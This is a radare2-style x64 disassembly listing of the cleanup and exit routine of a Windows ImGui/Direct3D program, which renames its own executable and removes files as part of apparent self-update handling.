mov dword [rsp + 0x20], r15d
call qword [rax + 0x158]
mov rcx, qword [0x1400f0c30]
mov rax, qword [rcx]
call qword [rax + 0x148]
test eax, eax
js 0x140052555
call fcn.14000a4a0
mov rax, qword [0x1400f0be0]
mov rcx, qword [rax + 0x1ef8]
mov rax, qword [rcx]
mov rcx, r15
add rax, 0xa8
cmp byte [rax], 0
cmovne rcx, rax
call fcn.140034f30
mov rcx, qword [0x1400f0c30]
mov rax, qword [rcx]
call qword [rax + 0x150]
test dword [rsi + 8], 0x400
je 0x14005262d
call fcn.140019d20
mov rbx, qword [0x1400f0be0]
mov r14d, 1
mov eax, dword [rbx + 0x1628]
cmp eax, r14d
jle 0x1400525d0
mov esi, 8
mov rax, qword [rbx + 0x1630]
mov rdi, qword [rsi + rax]
test dword [rdi + 4], 0x400
jne 0x1400525be
mov rax, qword [rbx + 0x15c0]
test rax, rax
je 0x1400525ab
xor edx, edx
mov rcx, rdi
call rax
mov rax, qword [rbx + 0x1608]
test rax, rax
je 0x1400525be
xor edx, edx
mov rcx, rdi
call rax
mov eax, dword [rbx + 0x1628]
inc r14d
add rsi, 8
cmp r14d, eax
jl 0x140052584
mov r14d, 1
cmp eax, r14d
jle 0x14005262a
mov esi, 8
mov rax, qword [rbx + 0x1630]
mov rdi, qword [rsi + rax]
test dword [rdi + 4], 0x400
jne 0x14005261a
mov rax, qword [rbx + 0x15c8]
test rax, rax
je 0x140052607
xor edx, edx
mov rcx, rdi
call rax
mov rax, qword [rbx + 0x1610]
test rax, rax
je 0x14005261a
xor edx, edx
mov rcx, rdi
call rax
inc r14d
add rsi, 8
cmp r14d, dword [rbx + 0x1628]
jl 0x1400525e0
xor r15d, r15d
mov rcx, qword [0x1400f0c30]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], r15
xor edx, edx
mov rax, qword [rcx]
call qword [rax + 0x88]
cmp eax, 0x88760868
jne 0x14005266a
mov rcx, qword [0x1400f0c30]
mov rax, qword [rcx]
call qword [rax + Ordinal_26]
cmp eax, 0x88760869
jne 0x14005266a
call fcn.140048920
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x140052735
mov rsi, qword [rbp + 0xe8]
mov edi, Ordinal_33
lea r14d, [rdi - 0x1a]
cmp dword [rbp + 0x490], 0x12
jne 0x14004e610
jmp 0x14005273f
mov ecx, eax
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_C_error_int_]
int3
mov ecx, ebx
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rbp + 0x2c8], r15d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov dword [rbp + 0x490], reloc.WS2_32.dll_select
call fcn.14001a320
call fcn.1400357e0
mov rcx, qword [0x1400f1320]
test rcx, rcx
je 0x140052762
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x1400f1320], r15
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rdx, rax
lea rcx, str.ImGui_Platform
call qword [sym.imp.USER32.dll_UnregisterClassA]
mov rcx, qword [0x1400f1338]
test rcx, rcx
je 0x14005278c
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rbx, qword [0x1400f0be0]
mov rcx, rbx
mov qword [0x1400f1338], r15
mov qword [0x1400f1340], r15
mov qword [0x1400f1348], r15
mov qword [0x1400f1350], r15
mov qword [0x1400f1358], r15
mov qword [0x1400f1360], r15
mov dword [reloc.WS2_32.dll_htons], 9
mov byte [0x1400f1330], 0
mov byte [reloc.WS2_32.dll_accept], 1
call fcn.140008f20
mov rax, qword [0x1400f0be0]
cmp rax, rbx
cmove rax, r15
mov qword [0x1400f0be0], rax
test rbx, rbx
je 0x14005281a
mov rcx, rbx
call fcn.140023fa0
mov rax, qword [0x1400f0be0]
test rax, rax
je 0x140052811
dec dword [rax + 0x3b0]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, qword [0x1400f0c30]
test rcx, rcx
je 0x140052833
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x1400f0c30], r15
mov rcx, qword [0x1400f0c40]
test rcx, rcx
je 0x14005284c
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x1400f0c40], r15
mov rcx, qword [rbp + 0x130]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rbp + 0x258]
mov rcx, qword [rbp + 0x280]
call qword [sym.imp.USER32.dll_UnregisterClassA]
lea rcx, [rbp + 0x2d0]
call fcn.1400489c0
mov r8d, 4
lea rdx, str..exe
mov rcx, rax
call fcn.140055990
mov qword [rbp + 0x3f0], r15
xorps xmm0, xmm0
movups xmmword [rbp + 0x3e0], xmm0
mov qword [rbp + 0x3f8], r15
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x3e0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x3f0], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rbp + 0x2e8]
cmp rdx, 0x10
jb 0x14005290e
mov rcx, qword [rbp + 0x2d0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140052909
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140052909
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c17e8
cmp qword [rbp + 0x3f8], 0x10
lea rbx, [rbp + 0x3e0]
mov r8d, 0x104
lea rdx, [rbp + 0x510]
cmovae rbx, qword [rbp + 0x3e0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xorps xmm0, xmm0
mov qword [rbp + 0x2a0], r15
movups xmmword [rbp + 0x290], xmm0
mov qword [rbp + 0x2a8], r15
lea rax, [rbp + 0x510]
nop dword [rax]
inc r12
cmp byte [rax + r12], 0
jne 0x140052960
mov r8, r12
lea rdx, [rbp + 0x510]
lea rcx, [rbp + 0x290]
call fcn.140056c90
cmp qword [rbp + 0x2a8], 0x10
lea rcx, [rbp + 0x290]
mov rdx, rbx
cmovae rcx, qword [rbp + 0x290]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_rename]
mov rdx, qword [rbp + 0x2a8]
cmp rdx, 0x10
jb 0x1400529e4
mov rcx, qword [rbp + 0x290]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400529df
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400529df
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c17e8
mov rdx, qword [rbp + 0x3f8]
cmp rdx, 0x10
jb 0x140052a25
mov rcx, qword [rbp + 0x3e0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140052a20
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140052bd1
call fcn.1400c17e8
mov rdx, qword [rbp + 0x3a8]
mov qword [rbp + 0x3f0], r15
mov qword [rbp + 0x3f8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x3e0], 0
cmp rdx, 0x10
jb 0x140052a7f
mov rcx, qword [rbp + 0x390]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140052a7a
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140052bd1
call fcn.1400c17e8
cmp dword [rbp + 0x430], 0
mov qword [rbp + 0x3a0], r15
mov qword [rbp + 0x3a8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x390], 0
jne 0x140052c06
xor eax, eax
movaps xmm14, xmmword [rsp + 0x740]
movaps xmm13, xmmword [rsp + 0x750]
movaps xmm12, xmmword [rsp + 0x760]
movaps xmm11, xmmword [rsp + 0x770]
movaps xmm10, xmmword [rsp + 0x780]
movaps xmm9, xmmword [rsp + 0x790]
movaps xmm8, xmmword [rsp + 0x7a0]
movaps xmm7, xmmword [rsp + 0x7b0]
movaps xmm6, xmmword [rsp + 0x7c0]
mov rsi, qword [rsp + 0x808]
mov r13, qword [rsp + 0x7d8]
mov r12, qword [rsp + 0x7e0]
movaps xmm15, xmmword [rsp + 0x730]
mov rdi, qword [rsp + 0x810]
mov rbx, qword [rsp + 0x800]
mov r14, qword [rsp + 0x7d0]
mov rcx, qword [rbp + 0x620]
xor rcx, rsp
call fcn.1400c1210
add rsp, 0x7e8
pop r15
pop rbp
ret
mov rcx, qword [0x1400f0c40]
mov rdx, qword [0x1400f0c30]
test rdx, rdx
je 0x140052b73
mov rax, qword [rdx]
mov rcx, rdx
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [0x1400f0c40]
mov qword [0x1400f0c30], r15
test rcx, rcx
je 0x140052b85
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x1400f0c40], r15
mov rdx, qword [rbp + 0x258]
mov rcx, qword [rbp + 0x280]
call qword [sym.imp.USER32.dll_UnregisterClassA]
mov rdx, qword [rbp + 0x3a8]
cmp rdx, 0x10
jb 0x140052bdd
mov rcx, qword [rbp + 0x390]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140052bd8
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140052bd8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c17e8
mov qword [rbp + 0x3a0], r15
mov qword [rbp + 0x3a8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x390], r15b
cmp dword [rbp + 0x430], r15d
jne 0x140052c06
mov eax, edi
jmp 0x140052aa7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
mov ecx, 6
mov dword [rbp + 0x430], r15d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
lea r8, [rbp + 0x290]
lea rdx, [rbp + 0x3c0]
lea rcx, str.remove_all
call fcn.1400479f0
int3
lea r8, [rbp + 0x290]
lea rdx, [rbp + 0x2c0]
lea rcx, str.remove_all
call fcn.1400479f0
int3
lea r8, [rbp + 0x290]
lea rdx, [rbp + 0x2c0]
lea rcx, str.remove_all
call fcn.1400479f0
int3
lea r8, [rbp + 0x290]
lea rdx, [rbp + 0x3d0]
lea rcx, str.remove_all
call fcn.1400479f0
int3
mov edx, dword [rbp + 0x234]
lea r8, [rbp + 0x20]
call fcn.140047980
int3
call fcn.140055700
int3
mov edx, dword [rbp + 0x234]
lea r8, [rbp + 0x20]
call fcn.140047980
int3
lea r8, [rbp + 0x290]
lea rdx, [rbp + 0x3b0]
lea rcx, str.remove_all
call fcn.1400479f0
int3